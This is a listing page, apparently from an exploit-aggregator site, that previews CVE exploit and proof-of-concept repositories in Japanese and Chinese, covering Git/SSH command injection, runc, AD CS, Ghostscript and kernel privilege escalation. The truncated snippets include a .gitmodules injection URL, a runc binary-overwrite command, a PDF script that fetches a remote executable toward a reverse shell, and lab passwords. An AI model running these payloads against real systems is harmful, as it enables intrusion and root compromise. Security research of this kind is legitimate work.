CVE-2023-51385_test

CVE-2023-51385 の検証 まず、/.ssh/config に以下の内容を追加する必要があります root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p .gitmodules ファイルの文にはコマンドインジェクションが存在します root@kitploit: url = ssh://echo helloworld cve.txtfoo.example.com/bar 設定が完了したら、以下のコマンドを実行してトリガーします root@kitploi...

CVE-2026-0847

CVE-2026-0847 — NLTK 多个 CorpusReader 类：通过路径遍历实现任意文件读取 -orange?style=for-the-badge 概述 字段| 详情 ---|--- CVE ID| CVE-2026-0847 软件包| nltk（自然语言工具包） 仓库| PyPI 受影响版本| = 3.9.2 漏洞类型| CWE-22：路径遍历 CVSS 评分| 8.6（高危） 攻击向量| 网络 攻击复杂度| 低 所需权限| 无 用户交互| 无 机密性影响| 高 完整性影响| 低 可用性影响| 低 报告日期| 2025 年 12 月 4 日 CVE 发布日期| 2026...

cve-2017-8917

ステップ1 - すべてのファイルをダウンロードし、Python3がインストールされていること ステップ2 - 依存関係をインストール pip install -r requirements.txt ステップ2.1 - 依存関係のインストールに失敗した場合、Linuxの制限が原因かもしれません。仮想環境を使用してみてください python3 -m venv venv source ./venv/bin/activate pip install -r requirements.txt ステップ3 - プログラムを実行 python3 main.py --url...

CVE-2020-9470

これは何ですか Wing FTP Server 6.2.5 - 権限昇格 はじめに Wing FTP Server 内のHTTPセッション処理における脆弱性により、ローカルユーザーはLinux、MacOS、Solaris上でルート権限に昇格できます。悪用には、既に確立された管理セッションが必要です。バージョン6.2.5は2020年2月27日にリリースされましたが、このバグは2020年2月28日に特定、報告、修正されたことに注意してください。そのため、Wing FTP Serverのバージョン6.2.5を表示する一部のインストールは脆弱である可能性があり、一部は脆弱でない可能性があります。...

apache__uima-uimaj_CVE-2022-32287_3-3-0

欢迎使用 Apache UIMA Java SDK Apache UIMA 帮助您管理包含丰富有用信息的非结构化数据（例如文本）。例如，如果您想识别文本中实体的提及或可能将该实体链接到参考数据集，Apache UIMA 提供： 一个方便的数据结构——通用分析结构（CAS）——用于表示该数据 一个类型系统概念服务，作为存储在 CAS 中的增强数据的模式 一个组件模型，包括读取器、分析引擎（处理器）和消费者（写入器），用于处理该数据 一个将多个分析引擎聚合到管道中并执行它们（可选择并行化）的模型 多种用于将 CAS 序列化/反序列化为不同格式的选项 以及许多其他功能！ 请注意，Apache...

jsonorg-tp1

json.org CVE-2022-45688 真陽性 このプロジェクトは、CVE-2022-45688 の json.org における問題を示しています -- 入力からXMLを読み取り、JSONに変換してコンソールにプリティプリントするシンプルなアプリケーション XML2JSONConverter があります。 悪意のある入力を使うと、アプリケーションはスタックオーバーフローでクラッシュします。 テストケース CVE202245688Test はこの動作を示しています。これは mvn test を実行することで実行できます。 ソフトウェア構成分析の実行 さまざまな解析を実行するための ...

cve-2017-5487

CVE-2017-5487とは？ : WordPress 4.7.1 より前のバージョンにおいて、wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php にある REST API の実装では投稿者リストを制限していないため、リモート攻撃者が wp-json/wp/v2/users リクエストを通じて重要な情報を取得できる脆弱性。 参考 : https://vulners.com/cve/CVE-2017-5487 何を言っているのか分からないので、背景知識について調べた上で実践を通して理解していこう。...

CVE-2020-7384

CVE-2020-7384 これはCVE-2020-7384用にbashで作られたエクスプロイトです。 これはnikhil1232のコードの修正版です: https://github.com/nikhil1232/CVE-2020-7384/blob/main/CVE-2020-7384.sh 私の目標は、エクスプロイトをより簡単に実行できるようにし、いくつかのQOL改善を追加することでした。 使用方法 bash CVE-2020-7384.sh...

CVE-2019-5736-PoC

使用方法 PoCは、被害者が例えば docker exec sh を実行するシナリオのために作成されました。エクスプロイトを実行する前に、コンテナのファイルシステム内の sh バイナリを上書きする必要があります。 root@kitploit: printf '!/proc/self/exe' /bin/sh その後、被害者がexecコマンドを実行すると、ホストファイルシステム内のruncバイナリがエクスプロイトで定義されたコードで上書きされるはずです。 例 コンテナ端末: root@kitploit: root@cebad431c120:/ printf '!/proc/self/exe...

CVE-2020-15780-exploit

アメリカン・アンサイン・ランゲージ zx2c4 著 これらは、ACPIテーブルインジェクションを介してカーネルロックダウンを無効にする2つのエクスプロイトです。 american-unsigned-language.sh は、Ubuntu 18.04 Bionic の4.15カーネル（カスタムパッチ適用版）向けで、ある手法を使用しています。CVE-2019-20908。 american-unsigned-language-2.sh は、メインライン/アップストリームカーネル向けで、別の手法を使用しています。CVE-2020-15780。 説明は各スクリプトのヘッダーにあります。...

CVE-2023-31851

CVE-2023-31851 Cudy LT400 の Web ベース管理インターフェースに、リフレクション型クロスサイトスクリプティング（XSS）攻撃が存在します。 ページ /cgi-bin/luci/admin/network/wireless/status には、iface パラメータを介したリフレクション型 XSS があります。 攻撃手法は、悪意のあるコードを含む特別に細工されたリクエストを被害者に送信することを伴います。 影響を受けるアプリケーションは、Session Cookie に HttpOnly...

CVE-2019-19781-DFIR-Notes

Splunk の視点に基づいています。 以下のリソースは、侵害の指標 IoC を適切に分析するためにログを取り込むことが不可欠であることを示しています。 良い危機を無駄にするな...すべてのログを取り込め！ 影響/根本原因: ロジックの脆弱性により、認証前リモートで任意のコマンドが実行可能（信頼性の高い実行が可能）。 参考リソース https://support.citrix.com/article/CTX267027...

CVE-2022-26923-rayng

CVE-2022-26923 の悪用: 証明機関の権限昇格 概要 CVE-2022-26923 は、Active Directory 証明書サービス AD CS の脆弱性で、攻撃者が証明書ベースの認証を悪用して権限を昇格できるようにします。このガイドでは、Impacket と Certipy を使用してこの脆弱性を悪用する手順を説明します。 資格情報テーブル 仮想マシン| ユーザー名| パスワード ---|---|--- Windows Server| Administrator| !@windowsadmintest101 Windows Server| testuser|...

CVE-2026-46331-pedit-cow

CVE-2026-46331-pedit-cow 针对 pedit COW 漏洞（CVE-2026-46331）的撰写和利用步骤。 概述 该挑战演示了 pedit COW，这是 Linux 内核流量控制子系统中数据包编辑动作（actpedit）的一个缺陷。该漏洞允许非特权用户覆盖内存中 setuid-root 二进制的副本，从而在不触及磁盘文件的情况下有效获取 root shell。 利用步骤 1. 初始设置 环境以非特权用户（karen）身份启动。 root@kitploit: id cd /packeteditmeme make packeteditmeme 2...

CVE-2025-55182

CVE-2025-55182 Proof of concept exploit for CVE-2025-55182. When successful, it will emulate a shell on the remote target over HTTP-POST requests. Works with both HTTP and HTTPS, but skips any certificate checks. Only supports directory changes with absolute paths. How to use 1. Set up the...

CVE-2021-3456

CVE-2021-3456 一条从看似无害的 PDF 文件开始，最终在 AWS EC2 实例上获得反向 shell 的实用攻击链 开端：构建 PDF 载荷 一切从攻击的前端开始。利用 PowerShell 内置的 WScript 对象，我们将一段脚本嵌入 PDF 中，该 PDF 将被投递到 Windows 主机。载荷从远程 HTTP 端点拉取一个可执行文件，并将其写入本地文件系统。 $payload = @" var wsh = WScript.CreateObject"WScript.Shell"; wsh.Exec "powershell -NoProfile...

cve-2023-34446

CVE-2023-36664: Ghostscript 远程代码执行 漏洞摘要 CVE ID: CVE-2023-36664 产品: Ghostscript 10.01.2 漏洞类型: 远程代码执行 RCE 概述 本漏洞 CVE-2023-36664 是由于 Ghostscript 对管道设备（%pipe% 或 | 前缀）的路径权限验证处理不完善而导致的任意代码执行 RCE 漏洞。 攻击者精心构造的恶意文档文件 PS/EPS 在被系统解析或处理的过程中，可在未经用户授权的情况下执行任意系统命令。 概念说明 了解 Ghostscript 与管道 Pipe 1. Ghostscript...

Kernel-exploitation

内核利用 decompress.sh 从 CPIO 归档中提取文件 root@kitploit: !/bin/sh mkdir fs cd fs cp ../initramfs.cpio.gz ./initramfs.cpio.gz gunzip ./initramfs.cpio.gz cpio -idm ../initramfs.cpio.gz &&\ cd .. &&\ gunzip -f initramfs.cpio.gz &&\ ./run.sh 如果是 ext4 文件系统归档 root@kitploit: mount ./initramfs.cpio.gz ./fs/...

CVE-2026-14459-14460-pardus-software

Pardus 软件中心 — 本地权限提升（CVE-2026-14459 和 CVE-2026-14460） 针对 pardus-software 包（Pardus 软件中心）版本 1.0.4 中的两个本地权限提升问题的概念验证和利用就绪代码，两者均在 1.0.5 中修复。 CVE| 类别| 摘要| CVSS 3.1 CERT-TR ---|---|---|--- CVE-2026-14459| CWE-88 — 参数注入| 一个 pardus-software 组的成员（无 sudo，无密码）将 APT 选项（-o Dir::Bin::dpkg=…）注入特权帮助程序，并以 root...

CVE-2026-2035703-x300

CVE-2026-2035703：Tozed ZLT X300 5G CPE — 通过SDR流氓基站实现远程Root代码执行 状态： 协调披露进行中（90天禁运期） 发现日期： 2026-08-08 研究人员： Muhammad Nadeem Danish danish1162 CVE ID： CVE-2026-2035703 严重性： 严重（CVSS 9.8） CWE： CWE-78（操作系统命令注入） 摘要 Tozed ZLT X300 5G CPE路由器包含一个严重的命令注入漏洞...